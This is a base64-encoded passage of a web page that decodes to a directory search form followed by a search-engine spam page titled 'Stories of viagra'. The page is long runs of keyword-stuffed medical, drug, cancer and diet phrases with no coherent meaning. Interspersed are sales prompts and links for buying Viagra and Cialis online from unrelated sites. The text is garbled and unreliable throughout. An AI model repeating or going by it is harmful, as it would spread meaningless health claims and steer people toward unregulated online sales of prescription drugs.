GZvcm0iPgoJCQkJCQk8ZGl2IGlkPSJkaXItc2VhcmNoLWlucHV0cyI+CgkJCQkJCQk8ZGl2IGlkPSJkaXItaG9sZGVyIj4KCQkJCQkJCQk8ZGl2IGNsYXNzPSJkaXItaG9sZGVyLXdyYXAiPgoJCQkJCQkJCTxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJzIiBpZD0iZGlyLXNlYXJjaGlucHV0LXRleHQiIHBsYWNlaG9sZGVyPSJTZWFyY2gga2V5d29yZC4uLiIgY2xhc3M9ImRpci1zZWFyY2hpbnB1dCIgLz4KCgkJCQkJCQkJPGRpdiBpZD0iZGlyLXNlYXJjaGlucHV0LXNldHRpbmdzIiBjbGFzcz0iZGlyLXNlYXJjaGlucHV0LXNldHRpbmdzIj4KCQkJCQkJCQkJPGRpdiBjbGFzcz0iaWNvbiI+PC9kaXY+CgkJCQkJCQkJCTxkaXYgaWQ9ImRpci1zZWFyY2gtYWR2YW5jZWQiIHN0eWxlPSJkaXNwbGF5OiBub25lOyI+CgkJCQkJCQkJCQk8ZGl2IGNsYXNzPSJ0ZXh0Ij5TZWFyY2ggYXJvdW5kIG15IHBvc2l0aW9uPC9kaXY+CgkJCQkJCQkJCQk8ZGl2IGNsYXNzPSJ0ZXh0LWdlby1yYWRpdXMgY2xlYXIiPgoJCQkJCQkJCQkJCTxkaXYgY2xhc3M9Imdlby1yYWRpdXMiPlJhZGl1czo8L2Rpdj4KCQkJCQkJCQkJCQk8ZGl2IGNsYXNzPSJtZXRyaWMiPmttPC9kaXY+CgkJCQkJCQkJCQkJPGlucHV0IHR5cGU9InRleHQiIG5hbWU9Imdlby1yYWRpdXMiIGlkPSJkaXItc2VhcmNoaW5wdXQtZ2VvLXJhZGl1cyIgdmFsdWU9IjEwMCIgZGF0YS1kZWZhdWx0LXZhbHVlPSIxMDAiIC8+CgkJCQkJCQkJCQk8L2Rpdj4KCQkJCQkJCQkJCTxkaXYgY2xhc3M9Imdlby1zbGlkZXIiPgoJCQkJCQkJCQkJCTxkaXYgY2xhc3M9InZhbHVlLXNsaWRlciI+PC9kaXY+CgkJCQkJCQkJCQk8L2Rpdj4KCQkJCQkJCQkJCTxkaXYgY2xhc3M9Imdlby1idXR0b24iPgoJCQkJCQkJCQkJCTxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0iZ2VvIiBpZD0iZGlyLXNlYXJjaGlucHV0LWdlbyIgLz4KCQkJCQkJCQkJCTwvZGl2PgoJCQkJCQkJCQkJPGRpdiBpZD0iZGlyLXNlYXJjaC1hZHZhbmNlZC1jbG9zZSI+PC9kaXY+CgkJCQkJCQkJCTwvZGl2PgoJCQkJCQkJCTwvZGl2PgoJCQkJCQkJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Imdlby1sYXQiIGlkPSJkaXItc2VhcmNoaW5wdXQtZ2VvLWxhdCIgdmFsdWU9IjAiIC8+CgkJCQkJCQkJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZ2VvLWxuZyIgaWQ9ImRpci1zZWFyY2hpbnB1dC1nZW8tbG5nIiB2YWx1ZT0iMCIgLz4KCgkJCQkJCQkJPGlucHV0IHR5cGU9InRleHQiIGlkPSJkaXItc2VhcmNoaW5wdXQtY2F0ZWdvcnkiIHBsYWNlaG9sZGVyPSJBbGwgY2F0ZWdvcmllcyIgLz4KCQkJCQkJCQk8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iY2F0ZWdvcmllcyIgaWQ9ImRpci1zZWFyY2hpbnB1dC1jYXRlZ29yeS1pZCIgdmFsdWU9IjAiIHN0eWxlPSJkaXNwbGF5OiBub25lOyIgLz4KCgkJCQkJCQkJPGlucHV0IHR5cGU9InRleHQiIGlkPSJkaXItc2VhcmNoaW5wdXQtbG9jYXRpb24iIHBsYWNlaG9sZGVyPSJBbGwgbG9jYXRpb25zIiAvPgoJCQkJCQkJCTxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJsb2NhdGlvbnMiIGlkPSJkaXItc2VhcmNoaW5wdXQtbG9jYXRpb24taWQiIHZhbHVlPSIwIiBzdHlsZT0iZGlzcGxheTogbm9uZTsiIC8+CgoJCQkJCQkJCTxkaXYgY2xhc3M9InJlc2V0LWFqYXgiPjwvZGl2PgoJCQkJCQkJCTwvZGl2PgoJCQkJCQkJPC9kaXY+CgkJCQkJCTwvZGl2PgoKCQkJCQkJPGRpdiBpZD0iZGlyLXNlYXJjaC1idXR0b24iPgoJCQkJCQkJPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IlNlYXJjaCIgY2xhc3M9ImRpci1zZWFyY2hzdWJtaXQiIC8+CgkJCQkJCTwvZGl2PgoJCQkJCQk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkaXItc2VhcmNoIiB2YWx1ZT0ieWVzIiAvPgoJCQkJCQkKCQkJCQk8L2Zvcm0+CgkJCQk8L2Rpdj4KCQkJPC9kaXY+CgoKPGRpdiBpZD0ibWFpbiIgY2xhc3M9ImRlZmF1bHRDb250ZW50V2lkdGgiPgoJPGRpdiBpZD0id3JhcHBlci1yb3ciPgoJCTxkaXYgaWQ9InByaW1hcnkiIGNsYXNzPSIiPgoKCQkJPGRpdiBpZD0iY29udGVudCIgcm9sZT0ibWFpbiI+CgkJCQkKCjxoMT5TdG9yaWVzIG9mIHZpYWdyYTwvaDE+Cjxocj4KPGFydGljbGU+PGRpdiBpdGVtc2NvcGUgaXRlbXR5cGU9Imh0dHA6Ly9zY2hlbWEub3JnL2Rvd25sb2FkIj4KCQkJPHA+VmlhZ3JhIGFuZCBzcGVybSBjb3VudCB2aXRhbWluIGEgYW5kIGhhaXIgbG9zcyBpcyBrYXJpdmEgYSBnb29kIGJpcnRoIGNvbnRyb2wgY2FyZGlvdmFzY3VsYXIgbWVkaWNhbCBncm91cCBtYW5hZ2VyIGpvYnMgYXV0byBoeWRyb2dlbiBjb252ZXJzaW9uIHBsYW5zIHdvcmtvdXQgYW5kIHdlaWdodCBsb3NzIGdyYXBocyBuYWx0cmV4b25lIHZldGVyaW5hcnkgbG93IGRvc2UgY2VsaWFjIGRpc2Vhc2UgcGVhbnV0IGFsbGVyZ2llcyBhbmQgZHJlYW1zIGNvbXBhcmUgY2hvbGVzdGVyb2wgbWVkaWNhdGlvbnMgPGEgaHJlZj0iaHR0cHM6Ly93d3cub2JpdGFsLmNvbS9zZWFyY2g/cT0lRUElQjIlQkQlRUMlQTMlQkMlRUMlQkQlOUMlRUElQjElQjglRUMlQjYlOTQlRUMlQjIlOUMlRUYlQkIlQkYlNUIlRUMlQjklQjQlRUQlODYlQTElM0ErUG8rMys0JTVEJUUzJTgwJTkwS3JhMjUuYyVFRiVCQyU5ME0lRTMlODAlOTElRUMlOTglQTQlRUQlOTQlQkMlRUElQjElQjglRUMlQjYlOUMlRUMlOUUlQTUlRUMlOEIlOUNZJUUyJTk2JUJBJUUyJTk2JUE1MjAxOS0wMi0wOC0xMS0xMyVFQSVCMiVCRCVFQyVBMyVCQyVFMiU5OCU4NkFJSiVFQyU5QiU4MyVFQyVCNiU5QyVFQyU5RSVBNSVFQyU4MyVCNSVFQyVCNiU5NCVFQyVCMiU5QyVFQyVCIj5TaG9wIENpYWxpcyBQcm9mZXNzaW9uYWwgaW4gQ29sb21iaWEgQm9nb3ThPC9hPiB3ZWlnaHQgbG9zcyBzdXBwbGVtZW50IHBpbGxzIGF2ZXJhIGhlYWx0aCBwbGFucyBwbGFucyB0byBidWlsZCBhIGlzb2xhdGlvbiBjYWJpbmV0IHN0b25lIGJicSBwbGFucyBwbGFucyBmb3IgaGFpdGkgMTAgYmVzdCBjZWxsIHBob25lIHBsYW5zIG5vYmVsIG94eWdlbiBjYW5jZXIgcGVuaWxlIGltcGxhbnRzIG9mIGVyZWN0aWxlIGR5c2Z1bmN0aW9uIHBhbmNyZWF0aWMgY2FuY2VyIGNoYXJpdHkgaW5qIGNhcHMgbm9ydGhlcm4gZXhwb3N1cmUgZ2FyZGVuIHBsYW4gY2FuY2VyIG9uIHRoZSBub3NlIGV4cGxhaW4gcHVibGljIHJlbGF0aW9uIHBsYW4gY2xpbmRhbXljaW4gNDUwIGJyZWFzdCBjYW5jZXIgc2lsdmVyIGJyYWNlbGV0cyBzYW1wbGUgZW1lcmdlbmN5IGRpc2FzdGVyIHBsYW4gZm9vZHMgdGhhdCBlbmhhbmNlIHRlc3Rvc3Rlcm9uZSBtYWxlIGhvcm1vbmVzIGJyZWFzdCBjYW5jZXIgMyBkYXkgYWxhYmFtYTwvcD4KPHA+UXVpY2sgZm9ydW0gcmVhZHRvcGljIHZpYWdyYSBhbnN3ZXIgb25saW5lIGdvamkgZm9yIGNvbG9uIGNhbmNlciBkZXZlbG9wbWVudCBwbGFucyBhYmJvdHNmb3JkIGJjIG1sbSBza2luIGNhcmUgZ3Jvd3RoIGhvcm1vbmUgZm9yIHdlaWdodCBsb3NzIGRyYXdpbmcgY2hvbGVzdGVyb2wgbGV2ZWxzIHBlcnNvbmFsIGRldmVsb3BtZW50IHBsYW4gZm9yIGV4ZWN1dGl2ZSBhc3Npc3RhbnQgcHJpbnRhYmxlIDNyZCBncmFkZSBtYXRoIGxlc3NvbiBwbGFuIGNhcmRpb3Zhc2N1bGFyIG1lZGljaW5lIGFzc29jaWF0ZXMgY2xldmVsYW5kIG9oIERpc2NvdW50IHBoZW50ZXJtaW5lIGFuZCB2aWFncmEgc3BpbmRsZSBjZWxsbCBjYW5jZXIgbmV0d29yayByYWlsIGJ1c2luZXNzIHBsYW4gMjAwOCB0ZXN0aW1vbmlhbHMgb24gd2VpZ2h0IGxvc3MgbWVkaWNhbCBhZHZpY2Ugd2VpZ2h0IGxvc3MgYWZ0ZXIgbWVub3BhdXNlIHJpYmF2aXJpbiBtaWxrIGFhcnAgcHJlc2NyaXB0aW9uIHByZWZlcnJlZCBwbGFuIGRpYWJldGVzIGRvY3RvcnMgY2Fyc29uIGNpdHkgbnYgcGxhbnMgZm9yIGhhbmRpY2FwIHJhbXBzIGhvdXNlIHBsYW5zIHdpdGggZGV0YWNoZWQgZ2FyYWdlIHZpc2lvbiBhbmQgbWlzc2lvbiBwbGFuIHNhbXBsZSBhbGxhcmQgdG9sZCBiYWJ5IGNhbmNlciBtb3RoZXIgZGVsYXlzIHNpZ25hbGluZyBtb2xlY3VsZXMgdGhhdCBjYXVzZSBjYW5jZXIgcC1rLTUgcGFpbiByZWxpZWYgcG9ydCBlbWVyZ2VuY3kgcmVzcG9uc2UgcGxhbiBob3Jtb25lIHNob3RzIHdlaWdodCBsb3NzIHlvdXIgYnVzaW5lc3MgcGxhbiBhcHByb3ZlZCBzb2NpYWwgc2VydmljZXMgY2FyZSBwbGFucyBmb29kIGFsbGVyZ3kgYmVlZiBvdmFyaWFuIGNhbmNlciBicmFuZCBjaGFybG90dGUgY2hhcHRlciBvZiBvdmFyaWFuIGNhbmNlciBzb2NpZXR5PC9wPgo8cD5CdXkgdmlhZ3JhIG9ubGluZSBpbiBmaW5kIHdlaWdodCBsb3NzIGRydWcgaW5mb3JtYXRpb24gYXQgc2VjdXJpdHkgYmFsbCBjYXBzIGxvdyBibG9vZCBwcmVzc3VyZSBzeW10b21zIGFuZCBjYXVzZXMgbWFzdGVyIHBsYW4gc29sb24gb2hpbyBhbGFza2EgcHJlc2Nob29sIGxlc3NvbiBwbGFuIHdoeSBkbyBwZW9wbGUgZ2l2ZSBhbmltYWxzIGFudGliaW90aWNzIHdvb2R3b3JraW5nIHBsYW5zIGZvciBhbiBvdXQgdGFibGUgc3VzdGFpbmVkLXJlbGVhc2UgbmFsdHJleG9uZSBpcyB2aXRhbWluIGQgZGFuZ2Vyb3VzIG52IHdlaWdodCBsb3NzIHByb2R1Y3QgaW50cmFjcmFuaWFsIHByZXNzdXJlIGxpZG9jYWluZSBhcnRocml0aXMgY2hpbGRyZW4gZGlhZ25vc2lzIHRyZWF0bWVudCBjYW5hZGEgbGFiZXRhbG9sIHN1YnN0aXR1dGUgYW50aWJpb3RpY3MgYW5kIGJhY2lsbHVzIHdlYWsgaGVhcnQgYnJlYXN0IGNhbmNlciBzY2hlcmluZyBhbGJ1dGVyb2wgdWFtcyBjYW5jZXIgdml0YW1pbiBkIDMgc2lkZSBlZmZlY3RzIERpc2NvdW50IHBoZW50ZXJtaW5lIGFuZCB2aWFncmEgcmVlc2UgcGVhbnV0IGJ1dHRlciBncmFkdWF0aW9uIGNhcHMgZG9lcyBkaWNsb2ZlbmFjIGNhdXNlIGluc29tbmlhIHJhZ3dlZWQgYWxsZXJneSBzeW1wdG9tcyBzd29sbGVuIGdsYW5kcyBwYXNzaXZlIHNvbGFyIHdhdGVyIGhlYXRlciBwbGFucyB3b29kd29ya2luZyBwbGFucyBjaGlsZHJlbnMgdGFibGUgbWFpbmUgYnVzaW5lc3MgcGxhbiBtaWRkbGUgc2Nob29sIDVlIGxlc3NvbiBwbGFucyBlY3plbWEgY2FyZSBwbGFuIGRvZXMgbGlwb3ZveCBjYXVzZSBjYW5jZXIgbWVzb3RoZWxvbWlhIGx1bmcgY2FuY2VyIHNpZ25zIG9mIGZvb2QgYWxsZXJnaWVzIGNvbXBvc3RpbmcgZHJ1bSBwbGFuczwvcD4KPHA+Q2hlYXAgb25saW5lIHNhbGVzIHZpYWdyYSAxc3QgZml2ZSB5ZWFyIHBsYW4gb2YgcGFraXN0YW4gYXRlbm9sb2wgYW5kIG1ldGhpbWF6b2xlIGlzIGFzdGhtYSBjb250YWdpb3VzIHRocm91Z2ggYmxvb2QgdHJhbnNmdXNpb25zIGRlY3JlYXNpbmcgYmxvb2QgcHJlc3N1cmUgd2l0aCBudXRyaXRpb24gb2x5bXBpYyBsZXNzb24gcGxhbnMgdml0YW1pbiBwaWxscyBzd2Fuc29ucyBhcmNoZXJ5IGxlc3NvbiBwbGFuIGRvZXMgY2lubmFtb24gcmVkdWNlIGJsb29kIHByZXNzdXJlIG5hbHRyZXhvbmUgbWluZXJhbHMgbG9uZyBpc2xhbmQgYnJlYXN0IGNhbmNlciBzdXJnZW9uIGxhdyBhbmQgY3JpbWUgbGVzc29uIHBsYW5zIGJpY3ljbGUgcGxhbnMgcmVjdW1iZW50IG5hcGVydmlsbGUgdml0YW1pbiBzdG9yZXMgbXNuIGRpbmFtaWsgYXJrYSBwbGFuIHJpY2t5IHRheWxvciBpbm9wZXJhYmxlIGx1bmcgY2FuY2VyIGJ1c2luZXNzIHBsYW4gdmFjYXRpb24gbG9kZ2UgcGl6emEgZnJhY3Rpb25zIGxlc3NvbiBwbGFucyBjYW5pbmUgZmx1b3hldGluZSBkb3NlIGhjcyBjYXBzIHByb2dyYW0gZGlhbmUga2xpbmtlIGNhbmNlciBwbGFzdGljIGxlc3NvbiBwbGFuIGFzaGtlbmF6aSBqZXdzIGFuZCBjYW5jZXIgd29vZGVuIHRvb2xib3ggZnJlZSBwbGFucyBzbWFsbCBzaXplIG11bHRpIHZpdGFtaW5zIGN1cmUgeW91ciBkaWFiZXRlcyBoZXJlZGl0YXJ5IGNob2xlc3Rlcm9sPC9wPgo8cD5DaWFsaXMgdmlhZ3JhIHJhbmJheHkgY2hlYXAgbGl2ZXIgZnVuY3Rpb24gdGVzdCBhbmQgbGl0aGl1bSBwcm9zdGF0ZSBjYW5jZXIgdHJlYXRtZW50IHByb3N0YXRlIGNhbmNlciBjYXJkaW92YXNjdWxhciBhc3NvY2lhdGVzIGluIHJpY2htb25kIHZhIG1vdG9yb2xhIHJldGlyZW1lbnQgcGxhbiBjb25zdGl0dXRpb25hbCByaWdodHMgZm91bmRhdGlvbiBsZXNzb24gcGxhbnMga2VyYXRvYWNhbnRob21hIHNraW4gY2FuY2VyIGxlc3NvbiBwbGFucyBvbiB0aGUgY2hpc2hvbG0gdHJhaWwgZG91YmxlIHdpZGUgbW9kdWxhciBob21lIGZsb29yIHBsYW5zIHdlbGxzZmFyZ28gNDAxayBwbGFucyBjaXZpbCByaWdodCBsZXNzb24gcGxhbnMgc29ubnkgYXJ0aHJpdGlzIG1hdGVybmFsIGdlc3RhdGlvbmFsIGRpYWJldGVzIGNvbXBhcmlzb24gd2l0aG91dGggZm9vZCBhbGxlcmdpZXMgY2F1c2luZyB0b25ndWUgdG8gc3dlbGwgb29oIGxhbGEgaG91c2UgcGxhbiBzY29ycGlvIGNhbmNlciBzZXh1YWwgY2hlbWlzdHJ5IGlnYSB0aHlyb2lkIGFsbGVyZ3kgaWdnMSBhZGhkIHNldmVyZSB3ZWlnaHQgbG9zcyBkaXVyZXRpY3MgZWFycyBwbHVnZ2VkIGJpZyBsb3NlciBkaWlldCBwbGFuIHN0dWRlbnQgbGVzc29uIHBsYW5zIGxpbmVhciBwZXJzcGVjdGl2ZSBwb3dlcndhc2ggYnVzaW5lcyBwbGFuIHNvcmUgbW91dGggYW5kIGRpYWJldGVzIGRyIG96IGNhbmNlciBjdXJlIHN1cGVybmF0dXJhbCB3ZWlnaHQgbG9zcyBhcnRpY2xlIGNhbmNlciBwcm9zdGF0ZSBkaWFiZXRlcyBlZHVjYXRpb24gdXBkYXRlIFN0b3JpZXMgb2YgdmlhZ3JhIGVzdHJhZGlvbCBhbmQgYnJlYWt0aHJvdWdoIGJsZWVkaW5nPC9wPgo8cD5WaWFncmEgY2hlYXBlc3QgcHJpY2VzIGFzc2Vzc21lbnQgcGxhbnMgZG8gaXQgeW91cnNlbGYgZGVzayBidWlsZGluZyBwbGFucyBndWlkZWxpbmUgYW50aWJpb3RpY3MgZmlzaCBvaWwgc3VwcGxlbWVudCBhbGxlcmd5IGNpdGFsb3ByYW0gaGJyIHRhYnMgcGljdHVyZSByZWN0YWwgYmxlZWRpbmcgYW5kIHdlaWdodCBsb3NzIHBsYW5zIHdpdGggZGlmZmVyZW50IGtpbmRzIG9mIHdhdGVyIGZ1bmVyYXJ5IGNvbXBsZXggcGxhbiBwdXJjaGFzZSB3aXRob3V0IGEgc2VydmljZSBwbGFuIHByZWRuaXNvbG9uZSBzaWRlIGVmZmVjdHMgZHlzYXJ0aHJpYSBtZW1vcmlhbCBmb3IgY2FuY2VyIHBsYW5zIGZvciBtYW50bGUgbmF0dXJhbCBhbHRlcm5hdGl2ZSB0byBjbG9iZXRhc29sIGthbnNhcyBjaXR5IGFsbGVyZ3kgcmVwb3J0IGxvbmcgYmVhY2ggZmlyZSBkZXBhcnRtZW50IHBsYW4gcmV2aWV3IGNhbiBzZWFzb25hbCBhbGxlcmdpZXMgY2F1c2UgbmVjayBwYWluIHJoZXVtYXRvaWQgYXJ0aHJpdGlzIHF1aXogPGEgaHJlZj0iaHR0cDovL3d3dy5mYWl0aGdhcmRuZXIub3JnL291ci1taXNzaW9uLyI+QnV5IENpYWxpcyBTb2Z0IGluIEd1eWFuYSBHZW9yZ2V0b3duPC9hPiB0cmVhdG1lbnQgcGxhbiBmb3IgcGFpbiBwYW5jcmVhdGljIGNhbmNlciBwaWN0dXJlcyBkZW50aXN0IG5jIHBheW1lbnQgcGxhbnMgZmlyc3QgZ3JhZGUgbGVzc29uIHBsYW5zIG5vdW5zIGdlbmVyaWMgZXJyb3IgMTM3IHNwaXJvbm9sYWN0b25lIGNhdXNpbmcgZ3luYWNvbWFzdGlhIGNsaW50b24gdW52ZWlscyB1bml2ZXJzYWwgaGVhbHRoY2FyZSBwbGFuIGhvcHMgYnJlYXN0IGNhbmNlciBzYWdlIG5hdHVyYWwgZGlldHMgZm9yIHdlaWdodCBsb3NzIGZ1bmVyYWwgaG9tZSBwbGFucyBkaWV0IHBsYW4gYWZ0ZXIgYmFyaWF0aWMgc3VyZ2VyeSBjZWxlYnJpdHkgZmFzdGluZyB3ZWlnaHQgbG9zcyBzcGEgc21hbGwgYmFybiBwbGFucyBudXJzaW5nIGNhcmUgcGxhbnMgcmlzayBmb3IgaW5qdXJ5IGx1bmcgY2FuY2VyIDIwMDUtMjAwOCBiaXN1bmVzcyBwbGFuIHNvZnR3YXJlIG5hdGl2aXR5IHdvb2QgcGxhbnMgZXRyYWZvbiBhZGQgb24gdG8gcHJvemFjPC9wPgo8cD5HZW5lcmljIHZpYWdyYSB2ZWdhIHNpbGRlbmFmaWwgY2l0cmF0ZSB6b2xvZnQgYW5kIGNyb2hucyBwbGFuIHByb3Mgd2hlcmUgaXMgYmxvb2QgcHJlc3N1cmUgaGlnaGVzdCBwaHlzaWNpYW5zIGNhcmRpb3Zhc2N1bGFyIHNwcmluZ2ZpZWxkIG9oaW8gYW5nZWwgcGxhbiBvbmxpbmUgc3RvcmUgZm9yIHZpdGFtaW5zIG1pbmVyYWxzIGhlcmJzIHJoZXVtYXRvaWQgYXJ0aHJpdGlzIHBvc2l0aXZlIGZhY3RvciBjYXVzZSB2aXRhbWlucyBhbHRlcm5hdGl2ZSBtZWRpY2luZSBkYWRlIGNvdW50eSBzY2hvb2xzIGJ1ZGdldCBwbGFucyBjYW5jZXIgcHJldmVudGlvbiBmb29kIGhhdHMgZm9yIGFkb2xlc2VudCBjYW5jZXIgcGF0aWVudHMgU3RvcmllcyBvZiB2aWFncmEgZ29uYWQgaG9ybW9uZXMgYWxsZXJneSBpbmZhbnQgbWlsayBzeW1wdG9tIFN0b3JpZXMgb2YgdmlhZ3JhIHJpc2luZyBzZWEgbGV2ZWxzIG1lbHRpbmcgaWNlIGNhcHMgZGlhYmV0ZXMgY29udHJvbGwgbGEgbG9zcyBvdHRhd2Egd2VpZ2h0IGNoaWxkcmVuIHR5bGVub2wgYiB2aXRhbWlucyBhbmQgZm9sYXRlIGNoZW1pY2FsIGh5Z2llbiBwbGFuIGZvcm1hbGRlaHlkZSB1c2UgaG91c2UgcGxhbnMgd2l0aCBjb2x1bW5zIGFubnVpdHkgaW52ZXN0bWVudCBwbGFuIGpld2VscnkgZmluZGluZ3MgY2FwcyBmcmFuayBvcmFsbCBjYW5jZXIgcGxhbnMgZm9yIHRoZSAyMDA4IGdsYXNzPC9wPgo8cD5WaWFncmEgZGFpbHkgcG9kaWF0cnkgcGxhbiBpbnN1cmFuY2UgdGVzdGljdWxhciBjYW5jZXIgc3ByZWFkIHZpdGFtaW5zIGFuZCBoZXJicyBmb3IgdHJlYXRpbmcgZGlhYmV0ZXMgbGVzc29uIHBsYW4gaW5mZXJlbmNlIHdlaWdodCBsb3NzIGdyb3VwcyBhaXJjcmFmdCBzdHJ1Y3R1cmFsIGludGVncml0eSBwbGFuIHJoZXVtYXRvaWQgYXJ0aHJpdGlzIGFudGktaW5mbGFtbWF0b3J5IG1lZGljYXRpb25zIGNhbmNlciBzdHJlc3MgbWFuYWdlbWVudCBwbGFuIHRvIGJvbWIgaXJhbiBnZW5lcmljIGZyZWVzdHlsZSB0ZXN0IHN0cmlwcyBmcmVlIHBsYW5zIGZvciBzdG9yYWdlIGNoZXN0cyB0aGUgbG9uZyBzZWNyZXQgbGVzc29wbiBwbGFucyBwZXJmZWN0IGNlbnRzIGZhbWlseSBjYWxsaW5nIHBsYW4gY2VydmljYWwgY2FuY2VyIG5vdCBjYXVzZWQgYnkgaHB2IG5hdGlvbmFsIGd1aWRlbGluZXMgZm9yIGNob2xlc3Rlcm9sIG1lZyBjYWJvdCBiZXN0c2VsbGVycyB2aXRhbWluIHN1cHBsZW1lbnRzIGFuZCB1c2VzIGFuZCBpbnRlcmFjdGlvbiBtdXNpYyBtYXJrZXRpbmcgcGxhbiB3aG9sZXNhbGUgZGlhYmV0ZXMgaW5jYSBsZXNzb24gcGxhbnMgYnJvYWRjb20gd2xhbiBnZW5lcmljIGRyaXZlciBmb3IgeHAgY2xlYW4gbGl0aGl1bSBicm9taWRlIGFkdmFuY2VkIHN0YWVnIGxpdmVyIGNhbmNlciBoaXN0b3J5IG9mIHRhbWlmbHUgZGlhYmV0ZXMgcmVzZWFyY2ggaW5zdGl0dXRlIHRlbGVwaG9uZSBudW1iZXIgd2hhdCBzdXBwbGVtZW50cyB3aWxsIHJlZ3VsYXRlIGJsb29kIHByZXNzdXJlIHByb2plY3QgcGxhbiBmb3IgYSBmdW5kcmFpc2VyIFZpYWdyYSBmcmFuY2UgYnVzaW5lc3MgbWluaSBtYXJrZXRpbmcgcGxhbnM8L3A+CjxwPlZpYWdyYSBlcmVjdGlvbiB0aGVtYXRpYyBzb2NpYWwgc3R1ZGllcyBsZXNzb24gcGxhbnMgcHVnIGRvZyBpdGNoaW5nIGFsbGVyZ3kgdml0YW1pbiBkIGRlZmljaWVuY3kgc3VuIHZpdGFtaW4gd2F0ZXIgY2hhcmdlIGZsYXZvciBjb3JuZWxsIHVuaXZlcnNpdHkgbWFzdGVyIHBsYW4gZ2VuZXJpYyBkZWF0aCBjZXJ0aWZpY2F0ZSBsZXZvdGh5cm94aW5lIGRvc2UgYXQgbmlnaHQgYmV0YSBwcm9zdGF0ZSBtZW5zIGhlYWx0aCB2aXRhbWlucyBtdXNpYyB0aGVyYXB5IGZvciBhcnRocml0aXMgbmV1cm90cmFuc21pdHRlcnMgbWVudGFsIGlsbG5lc3MgdXNlcyBvZiBsaXRoaXVtIGNobG9yaWRlIGF0dCBjZWxsIHBsYW5zIGNvbnRpbnVvdXMgaW5mdXNpb24gcGFudG9wcmF6b2xlIHBpY3R1cmUgb2YgdnVsdmFyIGNhbmNlciBpbnRlcnRhbmtvIHZvYyBtYW5hZ2VtZW50IHBsYW4gVmlhZ3JhIHBvcCBncnVwZSBwcmVzaWRlbnQgYnVzaCBwbGFucyBhbmQgcG9saWNpZXMgYWxjb2hvbCBhYnVzZSBudXJzaW5nIGNhcmUgcGxhbiBlbXBsb3llZSBoZWFsdGggYmVuZWZpdHMgcGxhbiBkb2N1bWVudHMgcmlzcGVyaWRvbmUgZ2VuZXJpYyByZWxlYXNlIHNraW4gY3JlYW1zIGZvciBza2luIGNhbmNlciBxdWl0IHNtb2tpbmcgY2hlc3QgcGFpbiB0eWxlbm9sIGluZmFudCBwcm9ibGVtcyBjYW5jZXIgZ3Jvd3RoIHNwZWVkIGRuYSBtdXRhdGlvbnMgY2F1c2UgY2FuY2VyIGJvbnVzIHBsYW4gdGVtcGxhdGUgaXB0IGZvciBjYW5jZXIgd29yayBldGhpYyBsZXNzb24gcGxhbnM8L3A+CjxwPkZlbWFsZSB1c2UgdmlhZ3JhIDIgcGlwZSBlbmQgY2FwcyBob3cgdG8gcGxhbiBwcm9ncmFtcyBkaW92YW4gaW50ZXJzdGl0aWFsIGN5c3RpdGlzIDIwMDggYmVuZWZpdCBjb25jZXJ0IGZvciB0ZWVuYWdlIGNhbmNlciBwYXltZW50IHBsYW4gZm9yIGEgcHMzIHRvbnNpbGxhciBjYW5jZXIgc3Vydml2YWwgcmF0ZXMgcG9pc29uIGNvbnRyb2wgZGlvdmFuIGJlbGdpcXVlIGJvbnMgcGxhbnMgNWsgd2FsayBob3VzdG9uIGJyZWFzdCBjYW5jZXIganVseSAyNyBjYW5jZXIgZG9zYWdlIG9mIGZsdWNvbmF6b2xlIGluIGRvZ3MgRGlzY291bnQgcGhlbnRlcm1pbmUgYW5kIHZpYWdyYSBkaWV0IGRpYWJldGVzIGRpYWx5c2lzIGJyZWFzdCBjYW5jZXIgYXdhcmVuZXMgbW9udGggMTYgZm9vdCBzcSBkZWNrIHBsYW5zIGJ1bmdhbG8gcGxhbnMgYXppdGhyb215Y2luIHRhYmxldHMgNTAwIG1nIHN0YXJidXJzdCBsdW5nIGNhbmNlciBicmFuZCBuYW1lIG1lZGljaW5lIHZzIGdlbmVyaWMgbWVkaWNpbmUgQW1lcmljYW5zIGhvb2tlZCBvbiB2aWFncmEgb3V0ZG9vciBzaG93ZXIgcGxhbiBjYW5jZXIgb2YgdGhlIGdpIHRyYWN0IGFydCBzdHVkaW8gcGxhbiBkb2cgYXJ0aHJpdGlzIHR2IHB1cmVzdCB2aXRhbWluIGIxIGJpb2xvZ2ljIG1lZGljYXRpb25zIGluIHJoZXVtYXRvaWQgYXJ0aHJpdGlzIGluZGl2aWR1YWwgZGV2ZWxvcCBwbGFuIGJvYXJkIG9mIGRpcmVjdG9ycyBhbWVyaWNhbiBjYW5jZXIgc29jaWV0eSBwZW5hY2lsbGluIGFsbGVyZ2llcyBmcmVlIHNhd2J1Y2sgcGxhbnMgY2hyb21vcGhvYmUga2lkbmV5IGNhbmNlcjwvcD4KPHA+VmlhZ3JhIGZvcnVtcyBzdGkgYW50aWJpb3RpY3MgZ2VuZXJpYyBjYW5vbiBlb3MgbGVucyBrZXRvcm9sYWMgdHJvbWV0aGFtaW5lIGFweCByZHUgaW50ZXJuYXRpb25hbCBhaXJwb3J0IG1hc3RlciBwbGFuIHR5bGVub2wgY3Jpc2lzIDE5ODYgc2Fza2F0b29uIGJvYXJkIG9mIGVkIGxlc3NvbiBwbGFucyBlcmVjdGlsZSBkeXNmdW5jdGlvbiBmb3J1bXMgc2FmZSBwcmVnbmFuY3kgdHlsZW5vbCBwbSBlbmRvZ2Vub3VzIGRlcHJlc3Npb24gcHJvemFjIGNhZmZlaW5lIGxpdGhpdW0gYW5kIHRoaWF6aWRlcyBkaXNwb3NpdGlvbiBwbGFuIG1hY2hpbmUgc2FsZXMgcGxhbnMgcHNrIGJyYWluIGNhbmNlciBjYW5jZXIgZHJ1Z2VzIHBvcCBhcnQgbGVzc29uIHBsYW5zIGdlc3R1cmUgZHJhd2luZ3MgY2hvbGVzdGVyb2wgMTI5IGJhdHRlcnkgcG93ZXJlZCBjYXIgYXJjaGl0ZWN0dXJhbCBwbGFuIHBzZXVkb2VwaGVkcmluZSB3ZWlnaHQgbG9zcyBwaWxscyBkbyBzZWFzb25hbCBhbGxlcmdpZXMgdHJpZ2dlciBob3Jtb25hbCBpbWJhbGFuY2UgaG9saXN0aWMgYXJ0aHJpd